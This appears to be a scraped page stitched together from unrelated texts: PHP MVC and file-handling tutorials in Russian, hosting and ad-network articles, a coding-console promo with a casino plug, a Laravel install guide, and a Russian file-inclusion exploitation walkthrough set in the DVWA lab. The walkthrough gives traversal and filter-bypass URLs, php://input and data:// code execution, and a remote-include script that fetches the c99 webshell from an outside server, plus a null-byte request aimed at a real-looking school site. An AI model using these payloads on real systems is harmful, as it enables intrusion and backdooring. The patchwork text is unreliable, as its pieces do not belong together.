Вымышленный view php file. Локальное и удалённое внедрение файлов: эксплуатация уязвимости и обход фильтров. Обход фильтрации при локальном инклуде файлов

Из паттернов меня устраивало mvc, registry. Для запросов я написал небольшой слой абстракции, для роутинга — свою функцию парсинга запроса.
Структура веб-приложения будет такой

Папка application

Входной файл index.php подключает bootstrap.php. Тот в свою очередь подключает ядро, конфиг-файл, некоторые библиотеки и запускает маршрутизатор.

Use Core\Route; require_once "lib/registry.php"; require_once "config.php"; require_once "lib/datebase.php"; require_once "core/model.php"; require_once "core/view.php"; require_once "core/controller.php"; require_once "core/route.php"; $router = new Route(); $router->start(); // запускаем маршрутизатор

Реестр устроен просто:

Namespace Lib; class Lib_Registry { static private $data = array(); static public function set($key, $value) { self::$data[$key] = $value; } static public function get($key) { return isset(self::$data[$key]) ? self::$data[$key] : null; } static public function remove($key) { if (isset(self::$data[$key])) { unset(self::$data[$key]); } } }

Здесь геттеры и сеттеры для сохранения глобальных значений.

Use Lib\Lib_Registry; define("PATH_SITE", $_SERVER["DOCUMENT_ROOT"]); define("HOST", "localhost"); define("USER", "root"); define("PASSWORD", "mypass"); define("NAME_BD", "articles"); define ("DS", DIRECTORY_SEPARATOR); $mysqli = new mysqli(HOST, USER, PASSWORD,NAME_BD)or die("Невозможно установить соединение c базой данных".$mysqli->connect_errno()); Lib_Registry::set("mysqli",$mysqli); $mysqli->query("SET names "utf8""); //база устанавливаем кодировку данных в базе

Запрос вида http://domen.ru/articles/index преобразуется в Контролллер — Экшн. Название контролллера и экшна задается в стиле Zend framework, camel case — Controller_Name , function action_name (). Файл контролллера, модели, въюхи должен совпадать с названием контроллера в нижнем регистре без префикса Controller_ или Model_

Класс модели задается так же — Model_Name , файл вьюхи мы уже выяснили — по имени экшна или явно в методе generate(name )

Так как в перспективе у нас создание админки — создадим папки client и admin . Кстати наш маршрутизатор будет учитывать вложенные папки, т.е. можно будет создать подпапки в контроллерах (напр. /about/contacts/contacts.php ) и обратиться к нему по его пути /about/contacts/
Итак, мы запустили маршрутизатор

/** * */ public function start() { // catch AJAX request if ($this->getIsAjaxRequest()) { } session_start(); $this->dispatch(); } /** * */ public function dispatch(){ // диспетчер получает файл совпадающий с названием контроллера, экшн и аргументы $this->getDirections($file, $controller, $action, $args); /* ************* include Controller - Model */ if (is_readable($file) == false) { die ("File $file 404 Not Found"); } // подключили контроллер include ($file); $model = str_replace("controller", "model", $file); // Model additional if(is_readable($model)){ // подключаем модель include($model); } /* ****** получаем класс ** */ $controller = ucfirst($controller); $class = ucfirst($this->namespace)."\Controller_" . $controller; // создаем экземпляр $controller = new $class($this->controller_path_folder); if (is_callable(array($controller, $action)) == false) { die ("Action $action 404 Not Found"); } // вызываем экшн $controller->$action($args); }

Диспетчер вызывает метод getDirections(), т.е. получить директивы запроса. По умолчанию дефолтный контроллер — articles, экшн — index.

/** * @param $file * @param $controller * @param $action * @param $args */ private function getDirections(&$file, &$controller, &$action, &$args) { $route = (empty($_SERVER["REQUEST_URI"])) ? "" : $_SERVER["REQUEST_URI"]; unset($_SERVER["REQUEST_URI"]); $route = trim($route, "/\\"); $controller_path = $this->path; if (empty($route)) { /* ******************* Default directions ******** */ $controller = "articles"; $action = "action_index"; $controller_path = $this->controller_path_folder = "application/controllers/$this->namespace/"; $file = $controller_path.$controller.".php"; } else { $parts = explode("/", $route); /* ************** namespace ********** */ if($parts == "admin") { $this->namespace = "admin"; array_shift($parts); } /* ***************** folders & subfolders ******* */ $fullpath = $this->controller_path_folder = $controller_path . $this->namespace; foreach ($parts as $part) { $fullpath .= DS . $part; if (is_dir($fullpath)) { array_shift($parts); continue; } if (is_file($fullpath . ".php")) { array_shift($parts); $file = "$fullpath.php"; break; } } /* *************** Controller, Action, Params ******** */ if(!isset($part)) $part = "articles"; $controller = $part; if(!$file) $file = $fullpath."/$part.php"; $action = array_shift($parts); if(!$action) $action = "action_index"; else $action = "action_$action"; $args = $parts; } }

В следующем уроке рассмотрим создание базовых контроллера, моделей и вьюх, напишем запросы.

Файлы 1-го урока здесь

https://github.com/vaajnur/create_php_application
Ветка мастер будет 1-м уроков, далее для каждого урока одноименная ветка — lesson1, lesson2, 3..

Over the past few years, web hosting has undergone a dramatic change. Web hosting services have changed the way websites perform. There are several kinds of services but today we will talk about the options that are available for reseller hosting providers. They are Linux Reseller Hosting and Windows Reseller Hosting. Before we understand the fundamental differences between the two, let’s find out what is reseller hosting.

Reseller Hosting

In simple terms, reseller hosting is a form of web hosting where an account owner can use his dedicated hard drive space and allotted bandwidth for the purpose of reselling to the websites of third parties. Sometimes, a reseller can take a dedicated server from a hosting company (Linux or Windows) on rent and further let it out to third parties.

Most website users either are with Linux or Windows. This has got to do with the uptime. Both platforms ensure that your website is up 99% of the time.

1. Customization

One of the main differences between a Linux Reseller Hostingplan and the one provided by Windows is about customization. While you can experiment with both the players in several ways, Linux is way more customizable than Windows. The latter has more features than its counterpart and that is why many developers and administrators find Linux very customer- friendly.

2. Applications

Different reseller hosting services have different applications. Linux and Windows both have their own array of applications but the latter has an edge when it comes to numbers and versatility. This has got to do with the open source nature of Linux. Any developer can upload his app on the Linux platform and this makes it an attractive hosting provider to millions of website owners.

However, please note that if you are using Linux for web hosting but at the same time use the Windows OS, then some applications may not simply work.

3. Stability

While both the platforms are stable, Linux Reseller Hosting is more stable of the two. It being an open source platform, can work in several environments.This platform can be modified and developed every now and then.

4. .NET compatibility

It isn’t that Linux is superior to Windows in every possible way. When it comes to .NET compatibility, Windows steals the limelight. Web applications can be easily developed on a Windows hosting platform.

5. Cost advantages

Both the hosting platforms are affordable. But if you are feeling a cash crunch, then you should opt for Linux. It is free and that is why it is opted by so many developers and system administrators all around the world.

6. Ease of setup

Windows is easier to set up than its counterpart. All things said and done, Windows still retains its user-friendliness all these years.

7. Security

Opt for Linux reseller hosting because it is more secure than Windows. This holds true especially for people running their E-commerce businesses.

Conclusion

Choosing between the two will depend on your requirement and the cost flexibility. Both the hosting services have unique advantages. While Windows is easy to set up, Linux is cost effective, secure and is more versatile.



Back in March of this year, I had a very bad experience with a media company refusing to pay me and answer my emails. They still owe me thousands of dollars and the feeling of rage I have permeates everyday. Turns out I am not alone though, and hundreds of other website owners are in the same boat. It"s sort of par for the course with digital advertising.

In all honesty, I"ve had this blog for a long time and I have bounced around different ad networks in the past. After removing the ad units from that company who stiffed me, I was back to square one. I should also note that I never quite liked Googles AdSense product, only because it feels like the "bottom of the barrel" of display ads. Not from a quality perspective, but from a revenue one.

From what I understand, you want Google advertising on your site, but you also want other big companies and agencies doing it as well. That way you maximize the demand and revenue.

After my negative experience I got recommend a company called Newor Media . And if I"m honest I wasn"t sold at first mostly because I couldn"t find much information on them. I did find a couple decent reviews on other sites, and after talking to someone there, I decided to give it a try. I will say that they are SUPER helpful. Every network I have ever worked with has been pretty short with me in terms of answers and getting going. They answered every question and it was a really encouraging process.

I"ve been running the ads for a few months and the earnings are about in line with what I was making with the other company. So I can"t really say if they are that much better than others, but where they do stand out is a point that I really want to make. The communication with them is unlike any other network I"ve ever worked it. Here is a case where they really are different:

They pushed the first payment to me on time with Paypal. But because I"m not in the U.S (and this happens for everyone I think), I got a fee taken out from Paypal. I emailed my representative about it, asking if there was a way to avoid that in the future.

They said that they couldn"t avoid the fee, but that they would REIMBURSE ALL FEES.... INCLUDING THE MOST RECENT PAYMENT! Not only that, but the reimbursement payment was received within 10 MINUTES! When have you ever been able to make a request like that without having to be forwarded to the "finance department" to then never be responded to.

The bottom line is that I love this company. I might be able to make more somewhere else, I"m not really sure, but they have a publisher for life with me. I"m not a huge site and I don"t generate a ton of income, but I feel like a very important client when I talk to them. It"s genuinely a breathe of fresh air in an industry that is ripe with fraud and non-responsiveness.

Microcomputers that have been created by the Raspberry Pi Foundation in 2012 have been hugely successful in sparking levels of creativity in young children and this UK based company began offering learn-to-code startup programs like pi-top an Kano. There is now a new startup that is making use of Pi electronics, and the device is known as Pip, a handheld console that offers a touchscreen, multiple ports, control buttons and speakers. The idea behind the device is to engage younger individuals with a game device that is retro but will also offer a code learning experience through a web based platform.

The amazing software platform being offered with Pip will offer the chance to begin coding in Python, HTML/CSS, JavaScript, Lua and PHP. The device offers step-by-step tutorials to get children started with coding and allows them to even make LEDs flash. While Pip is still a prototype, it will surely be a huge hit in the industry and will engage children who have an interest in coding and will provide them the education and resources needed to begin coding at a young age.

Future of Coding

Coding has a great future, and even if children will not be using coding as a career, they can benefit from learning how to code with this new device that makes it easier than ever. With Pip, even the youngest coding enthusiasts will learn different languages and will be well on their way to creating their own codes, own games, own apps and more. It is the future of the electronic era and Pip allows the basic building blocks of coding to be mastered.
Computer science has become an important part of education and with devices like the new Pip , children can start to enhance their education at home while having fun. Coding goes far beyond simply creating websites or software. It can be used to enhance safety in a city, to help with research in the medical field and much more. Since we now live in a world that is dominated by software, coding is the future and it is important for all children to at least have a basic understanding of how it works, even if they never make use of these skills as a career. In terms of the future, coding will be a critical component of daily life. It will be the language of the world and not knowing computers or how they work can pose challenges that are just as difficult to overcome as illiteracy.
Coding will also provide major changes in the gaming world, especially when it comes to online gaming, including the access of online casinos. To see just how coding has already enhanced the gaming world, take a look at a few top rated casino sites that rely on coding. Take a quick peek to check it out and see just how coding can present realistic environments online.

How Pip Engages Children

When it comes to the opportunity to learn coding, children have many options. There are a number of devices and hardware gizmos that can be purchased, but Pip takes a different approach with their device. The portability of the device and the touchscreen offer an advantage to other coding devices that are on the market. Pip will be fully compatible with electronic components in addition to the Raspberry Pi HAT system. The device uses standard languages and has basic tools and is a perfect device for any beginner coder. The goal is to remove any barriers between an idea and creation and make tools immediately available for use. One of the other great advantages of Pip is that it uses a SD card, so it can be used as a desktop computer as well when it is connected to a monitor and mouse.
The Pip device would help kids and interested coder novice with an enthusiasm into learning and practicing coding. By offering a combination of task completion and tinkering to solve problems, the device will certainly engage the younger generation. The device then allows these young coders to move to more advanced levels of coding in different languages like JavaScript and HTML/CSS. Since the device replicates a gaming console, it will immediately capture the attention of children and will engage them to learn about coding at a young age. It also comes with some preloaded games to retain attention, such as Pac-Man and Minecraft.

Innovations to Come

Future innovation largely depends on a child’s current ability to code and their overall understanding of the process. As children learn to code at an early age by using such devices as the new Pip, they will gain the skills and knowledge to create amazing things in the future. This could be the introduction of new games or apps or even ideas that can come to life to help with medical research and treatments. There are endless possibilities. Since our future will be controlled by software and computers, starting young is the best way to go, which is why the new Pip is geared towards the young crowd. By offering a console device that can play games while teaching coding skills, young members of society are well on their way to being the creators of software in the future that will change all our lives. This is just the beginning, but it is something that millions of children all over the world are starting to learn and master. With the use of devices like Pip, coding basics are covered and children will quickly learn the different coding languages that can lead down amazing paths as they enter adulthood.

PHP

file_exists("test.txt")//Существует ли файл? filesize("test.txt");//Узнаем размер файла //Возвращается временная метка: fileatime("test.txt");//Дата последнего обращения к файлу //date("d M Y", $atime); filemtime("test.txt");//Дата изменения файла //date("d M Y", $mtime); filectime("test.txt");//Дата создания файла(Windows) //date("d M Y", $ctime);

Файлы: режимы работы

PHP

resource fopen (string filename, string mode) // resource - возвращает указатель на файл в случае успешной работы, или FALSE в случае ошибки
Режим работы Описание
r открыть файл только для чтения;
r+ открыть файл для чтения и записи;
w открыть файл только для записи. Если он существует, то текущее содержимое файла уничтожается. Текущая позиция устанавливается в начало;
w+ открыть файл для чтения и для записи. Если он существует, то текущее содержимое файла уничтожается. Текущая позиция устанавливается в начало;
а открыть файл для записи. Текущая позиция устанавливается в конец файла;
а+ открыть файл для чтения и записи. Текущая позиция устанавливается в конец файла;
b обрабатывать бинарный файл. Этот флаг необходим при работе с бинарными файлами в ОС Windows.

Открытие и закрытие файлов в PHP

PHP

$fi = fopen("test.html", "w+") or die("Ошибка"); //Примеры $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Закрываем fclose($fi)

Чтение файлов в PHP

PHP

//Читаем файл fread(int fi, int length) $str = fread($fi, 5); // Читаем первые 5 символов echo $str; // так как курсор передвинулся $str = fread($fi, 12); // Читаем следующие 12 символов echo $str; fgets(int fi[, int length]) // Прочитать строку из файла fgetss(int fi, int length [, string allowable]) // Прочитать строку из файла и отбросить HTML-теги // string allowable - теги, которые необходимо оставить fgetc(int fi) //Считывает символ из файла

Изначально Запись будет происходить в начало файла, путем перезаписывания существующих данных, если они есть. Поэтому, если вам нужно записать что-то в конец файла, нужно установить соответствующий режим чтения , например, a+ .

Манипуляции с курсором в файлах PHP

PHP

int fseek(int fi, int offset [, int whence]) //Установка курсора // int fi - указатель на файл //offset - количество символов, на которые нужно передвинуться. //whence: //SEEK_SET - движение начинается с начала файла; //SEEK_CUR - движение идет от текущей позиции; //SEEK_END - движение идет от конца файла. fseek($fi, -10, SEEK_END); //Читаем последние 10 знаков $s = fread($fi, 10); $pos = ftell($fi); //Узнаем текущую позицию rewind($f)//сброс курсора bool feof($f) //конец файла

Прямая работа с файлами (данными) в PHP

PHP

array file(string filename) // Получаем содержимое файла в виде массива //Еще один вариант прямой работы с данными file_get_contents(string filename) //Чтение (получаем весь файл одной строкой) //Запись в файл (изначально перезаписывается) file_put_contents(string filename, mixed data[,int flag]); //FILE_APPEND // Запись в конец файла: file_put_contents("test.txt", "данные", FILE_APPEND); //Если записать массив, $array = array("I", "live"); file_put_contents("test.txt",$array); //то получим "Ilive"

Управление файлами в php

PHP

copy(string source, string destination); // Копирование файла rename(str oldname, str newname); // Переименование файла unlink(string filename); // Удаление файла

Загрузка файлов на сервер PHP

//Настрoйки PHP.ini file_uploads (on|off) // разрешаем.запрещаем загрузку файлов upload_tmp_dir // временная папка для загружаемых файлов. по умолчания временная папка upload_max_filesize (default = 2 Mb) // макс. размер загружаемого файла post_max_size // общий размер посылаемый формы (должен быть больше upload_max_filesize) //Простая загрузка

HTML

Работаем с файлами на сервере

PHP

//Принимаем данные $tmp = $_FILES["userfile"]["tmp_name"]; $name = $_FILES["userfile"]["name"]; //Перемещаем файл move_uploaded_file($tmp, name); move_uploaded_file($tmp, "upload/".name); // перенаправляем файл в папку upload // относительно текущего файла //Что в массиве $_FILES $_FILES["userfile"]["name"] // имя файла, например, test.html $_FILES["userfile"]["tmp_name"] // временное имя файла (путь) $_FILES["userfile"]["size"] // размер файла $_FILES["userfile"]["type"] // тип файла $_FILES["userfile"]["error"] // 0 - ошибок нет, число - есть

Иногда внедрение файлов называют инклудом, иногда рассматривают как часть PHP инъекции (инъекция кода). Последнее не совсем верно, поскольку уязвимость внедрение файлов не обязательно связана с выполнением кода.

Уязвимость может возникнуть при использовании (в PHP) таких выражений как:

  • require_once,
  • include_once,
  • include,
  • require,

У каждого из них есть небольшие нюансы, но общее у них то, что они включают в программу файл и выполняют его. Проблему эти выражения могут вызвать в том случае, если в них передаётся пользовательский ввод, а программа недостаточно его отфильтровывает.

Кстати, да, это именно выражения, а не функции. Необзятельно писать так:

Require("somefile.php");

Более предпочтительным является такой вариант:

Require "somefile.php";

Но это отступление, которое не имеет никакого отношения к уязвимости.

Если инклуд файлов осуществляется выражениями require_once, include_once, include, require, то можно сказать, что в это же время имеет место и инъекция кода. Тем не менее, возможен инклуд файлов без выполнения кода на сервере. Например, веб-сайт меняет внешний вид исходя из выбранной пользователем темы. Название тем соответствует названию HTML файлов, которые считываются на сервере. В данной ситуации если запрос сформирован так, чтобы осуществить считывание файла, который для этого не предназначен (например, файл PHP), то вместо выполнения команд, будет выведен исходный код PHP.

Пользователь может указать в качестве файла для инклуда удалённый или локальный файл. На основании этого выделают две соответствующие разновидности:

  • локальное внедрение файлов
  • удалённое внедрение файлов

Опасность удалённого инклуда заключается в выполнении произвольного кода на уязвимом сервере. Обычно это используется для заражения бэкдором.

Опасность локального внедрения файлов заключается в том, что пользователь может вывести содержание файлов, на просмотр которых у него нет прав (исходные коды программ, системные файлы с настройками и паролями). Также при локальном инклуде возможно выполнение стороннего кода (например, для заражения бэкдором), если файл со злонамеренным кодом был предварительно загружен на сервер, либо использовался метод отравления логов, либо некоторые другие методы.

Локальный инклуд файлов является не менее опасным, чем внедрение удалённых файлов.

Эксплуатация локального внедрения файлов

Попробовать свои силы на этой уязвимости можно в Damn Vulnerable Web Application (DVWA) . Я использую Web Security Dojo , где DVWA уже установлен.

Начнём с низкого уровня (low DVWA Security ).

Перейдём на страницу File Inclusion http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Если в качестве аргумента переменной передаётся значение, похожее на имя файла (file1.php, file2.php), то можно предположить, что используется инклуд. Поскольку расширение файла .php , то вероятнее всего файл исполняется на сервере (т.е. возможно выполнить внедрение кода), а не просто выводится для показа.

В DVWA есть страничка http://localhost/dvwa/about.php, она расположена на два уровня вверх, попробуем просмотреть её таким образом: http://localhost/dvwa/vulnerabilities/fi/?page=../../about.php

Да, уязвимость локальный инклуд присутствует. При вводе не фильтруются переходы в верхние директории (../ ), список файлов для инклуда не является исчерпывающим (вместо предлагаемых file*.php мы выбрали about.php).

Иногда используются инклуд файлов, но адреса могут выглядеть, например, так http://localhost/dvwa/vulnerabilities/fi/?page=file1. В этом случае в скрипте может добавляется расширение и скрипт внедряет файл, название которого окончательно сформировано в скрипте. Как правило, уязвимость в таком виде трудно/невозможно эксплуатировать.

Часто в качестве примера эксплуатации локального инклуда файлов любят приводить что-то вроде такого:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Как видим, это сработало. Но поскольку веб-браузеры игнорируют /r/n (символы новой строки), то нам нужно открыть исходный код, чтобы записи стали читаемыми:

К сожалению, никаких паролей в файле /etc/passwd уже давно нет.

С сервера можно стянуть разные файлы настроек, SSL-сертификаты, в принципе, любой файл, который открыт для чтения всем пользователям или на чтения которого у веб-сервера достаточно прав:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Что касается общих хостингов, то иногда удаётся заглянуть в чужие папки (опять же, при неправильной настройке прав пользователей).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Задача усложняется тем, что нам нужно знать путь до файла.

Эксплуатация удалённого внедрения файлов

PHP очень гибкий и дружественный для разработчиков язык программирования. Команды внедрения (инклуда) файлов и некоторые другие прекрасно распознают и правильн6о обрабатывают не только локальные файлы, но и URL…

Попробуем вместо имени файла записать URL сайта https://сайт/:

http://localhost/dvwa/vulnerabilities/fi/?page=https://сайт/

Посмотрите, как интересно получается:

Произошло следующее, PHP интерпретатор получил команду сделать инклуд файла/сайта https://сайт/. Он открыл/загрузил соответствующий адрес и отправил полученный код на выполнение в качестве PHP программы. Поскольку PHP выполняет только код, окружённый соответствующими тегами (в данном случае кода вообще не было), а всё остальное выводит как есть, то вся страница веб-сайта выведена как есть.

Конечно эта уязвимость интересна нам не тем, что мы через один сайт можем просматривать другие сайты.

  1. Генерируем / находим исходный код бэкдора
  2. Создаём правильный с точки зрения PHP файл для выполнения на сервере, который сохраняет исходный код бэкдора в PHP файл
  3. Сохраняем полученный код в ТЕКСТОВЫЙ файл
  4. Загружаем этот текстовый файл на подконтрольный сервер
  5. На уязвимом сервере с помощью удалённого инклуда файлов сохраняем наш бэкдор

Я выделил слово «текстовый» по той причине, что на подконтрольном нам сервере должен быть именно текстовый файл, который не должен исполнятся на нашем сервере. Наш сервер должен только показать его содержимое.

Для создания бэкдора можно воспользоваться Weevely , PhpSploit , а можно взять готовые решения. Давайте в этот раз воспользуемся готовым .

Я присвою переменной $backdoor исходный код бэкдора, который скачаю с гитхаба. Затем использую функцию file_put_contents для сохранения полученного исходного кода в файл c99unlimited.php.

Код, который я разместил в текстовом файле

$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "done!";

Он доступен по адресу http://miloserdov.org/sec.txt

Теперь, используя удалённый инклуд, мы загружаем бэкдор на уязвимый сервер.

http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

Обратите внимание на надпись done!, она выведена скриптом, т.е. вероятно всё получилось.

Поскольку скрипт, который делает инклуд файлов размещён в каталоге http://localhost/dvwa/vulnerabilities/fi/, а наш новый файл с бэкдором должен был сохраниться с именем c99unlimited.php, то полный адрес бэкдора на уязвимом сервере должен быть: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

Проверяем:

Отлично, теперь у нас есть все функции, которые только могут понадобиться администратору веб-сервера… и тем, кто имеет доступ к его серверу.

Обход фильтрации при локальном инклуде файлов

Перейдём на средний уровень (medium ) безопасности (настраивается в DVWA Security ).

Если мы заглянем в исходный код (кнопка View Source ):

то мы увидим, что теперь символы ../ фильтруются. Это не даст нам перейти на каталоге выше того, в которой работает уязвимый скрипт.

Т.е. так уже ничего не получится:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

Давайте подумаем, как работает фильтрация в этом случае? Допустим, фильтруется слово «плохо », тогда строка вида

хорошо плохо хорошо

после фильтрации будет такой:

хорошо хорошо

А если вставить такую строку

пло плохо хо

то после фильтрации (будет удалено «плохо ») получится

плохо

В ../ мы вставляем посередине ещё раз ../ , получается …/./

Пробуем такой адрес http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql/my.cnf

Сработало!

Ещё одним вариантом обхода может быть кодировка символов в шестнадцатеричную кодировку, пример такой строки:

http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

«../» может заменяться на «%2E%2E%2f».

Также практикуется двойное кодирование в шестнадцатеричную кодировку, при котором «../» заменяется на «%252E%252E%252F»

Локальный инклуд файлов при добавлении расширения в скрипте

Если код с инклудом файлов имеет вид:

Т.е. к любому пользовательскому вводу добавляется расширение.php или какое-то другое, то это не позволяет сформировать запрос таким образом, чтобы произвести атаку.

Имеются несколько техник, которые предназначены для отбрасывания расширения, но их можно считать устаревшими, поскольку они работают на PHP 5.3, да и то не всех версий. Тем не менее, администраторы веб-серверов клинически консервативны и предпочитают ничего не трогать, если оно работает. Т.е. шанс встретить сервер с очень древней версией PHP есть, и об этих методиках следует знать.

Использование нулевого байта %00 (null byte)

В конце запроса для игнорирования расширения добавляется нулевой байт:

http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

Второй метод называется атака обрезкой пути. Суть в том, что PHP обрезает пути длиннее 4096 байт. При этом PHP правильно открывает файл, даже если на конце его имени имеются слеши и точки. Если в качестве параметра передать что-то вроде?param1=../../../../etc/passwd/./././././<…> (где./ повторяется много тысяч раз), то конец файла вместе с расширением (которое прибавил скрипт, в результате чего имя файла стало includes/../../../../etc/passwd/./././././<…>.php) будет отброшено. И в качестве имени файла получится includes/../../../../etc/passwd/./././././<…>. А поскольку PHP не смущают конечные слеши и./ на конце файла, он их просто игнорирует, то в общей сложности PHP откроет файл по пути includes/../../../../etc/passwd.

Обход фильтрации при удалённом внедрении файлов

Как мы уже видели в исходном коде, на среднем уровне безопасности также отфильтровываются http:// и https://.

Теперь http://localhost/dvwa/vulnerabilities/fi/?. Мы воспользуемся в точности тем же приёмом, что и для обхода фильтрации при локальном инклуде. Сформированный запрос:

http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://сайт/

И ещё обратите внимание, что не фильтруется, например ftp , т.е. такой вариант сработал бы вообще без всяких ухищрений:

http://localhost/dvwa/vulnerabilities/fi/?page=ftp://сайт/

Получение исходного кода PHP скриптов при инклуде файлов с php://filter

Для этого трюка не требуется удалённый инклуд файлов. Будет использоваться своего рода мета-обёртка php://filter .

Допустим, мы хотим увидеть исходный код файла file1.php, тогда для нашей ситуации запрос будет составлен так:

http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

Обратите внимания на бессмысленную строчку из букв и цифр - это исходный код файла file1.php в кодировке base64. Поскольку это base64, то поддерживаются и бинарные файлы.

Раскодируем файл:

Удалённое выполнение кода с php://input

Это не похоже на внедрение файлов и для этого опять не требуется загружать файлы.

Для помощи я воспользуюсь расширением FireFox , вы также можете использовать его или любую другую программу (например, curl) умеющую передавать данные методом POST.

php://input имеет доступ к сырому телу HTTP запроса, чтобы понять, что include("php://input") делает, откройте страницу

http://localhost/dvwa/vulnerabilities/fi/?page=php://input

А в теле запроса отправьте правильный PHP код (например, с помощью метода POST). Это позволит вам выполнить любую разрешённую на удалённом сервере функцию!

Удалённое выполнение кода с data://

Кроме этого, PHP поддерживает URL-схему data:// Вы можете разместить код прямо в параметре GET! Следующий тест не требует каких-либо специальных инструментов, просто обычный браузер для выполнения атаки.

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

Некоторые файерволы веб-приложений могут заметить подозрительную строку в URL и заблокировать злой запрос. Но есть способ зашифровать строку как минимум в base64 кодировку:

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

Выполнение произвольных команд с /proc/self/environ

/proc/self/environ - это хранилище переменных процесса. Если у процесса Apache достаточно прав для доступа к нему, то при открытии веб-страницы, на которой присутствует инклуд с подобным URL,

www.website.com/view.php?page=../../../../../proc/self/environ

выведет что-то вроде

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

Обратите внимание на HTTP_USER_AGENT . Вместо него можно подставить правильный PHP код, который будет выполнен на удалённом сервере.

Травление и внедрение логов при локальном инклуде файлов

К сожалению, на последних версиях Apache этот метод больше не работает.

Его суть заключается в том, что в логи веб-сервера внедряется код атакующего. Это можно сделать путём подмены User-Agent , либо даже просто передачей в GET параметре.

Статичное внедрение удалённого файла

Пример статичного инклуда:

Эксплуатировать статичный инклуд можно в очень экзотичных ситуациях. Для внедрения злонамеренного кода необходимо осуществить атаку человек-посередине между двумя серверами: один из которых хостит веб-приложение, использующим инклуд, а второй хостит файл, используемый для инклуда.

Laravel requires Composer to manage the project dependencies. So before installing Laravel, make sure you have Composer installed on your system. In case you are hearing about Composer for the first time, it"s a dependency management tool for php similar to node"s npm.

To install Composer on your machine, check this post:

Installing Laravel on Windows:

Follow the below steps to install laravel on windows machine. No matter you have xampp/wamp stack, it works for both. On WAMP, make sure to install laravel on "www" folder and on XAMPP, obviously the "htdocs".

STEP-1) Open "htdocs" folder on XAMPP, hold SHIFT key and right click on the folder, and choose "open command window here". Alternatively, you can open command window and change directory to "xampp/htdocs".

STEP-2) Enter the following command.

Composer create-project laravel/laravel my_laravel_site --prefer-dist

Here "my_laravel_site" is the folder name where laravel files will be installed. Change this to your liking.

STEP-3) Now it"s time to be patient as laravel installation is going to take some time.

STEP-4) Once installed, change directory to "my_laravel_site" (cd "my_laravel_site") on the command prompt and enter the below command.

Php artisan serve

STEP-5) This will show a message something like, "Laravel development server started:" along with an url.

STEP-6) Copy and paste the url on the browser. If things go right, you"d see the laravel welcome screen.

STEP-7) Done! You have successfully installed laravel on windows machine and ready to go with.

Setting Application Key:

Laravel requires little configuration after installation. It requires you to set the application key. This is a random string of 32 characters long used for encrypting session and other sensitive data. Usually this will be set automatically when you install laravel via composer or laravel installer.

In case it"s not set, you have to do it manually. First make sure to rename the ".env.example" file to ".env" on your application root. Then open command prompt and change to the laravel project folder. Now run the below command to generate the key.

Php artisan key:generate

Copy this generated key to the APP_KEY variable on ".env" file. Save and you are done.

Installing Specific Laravel Version:

The above given method will make composer to download and install the latest version of laravel. If you want to install earlier versions of laravel on your machine, make sure to include the respective version number on create-project command.

Composer create-project laravel/laravel=5.4 your-project-name --prefer-dist Read Also:

Likewise you can easily install laravel using composer on windows . I hope you find this tutorial useful. Please share it on your social circle if you like it.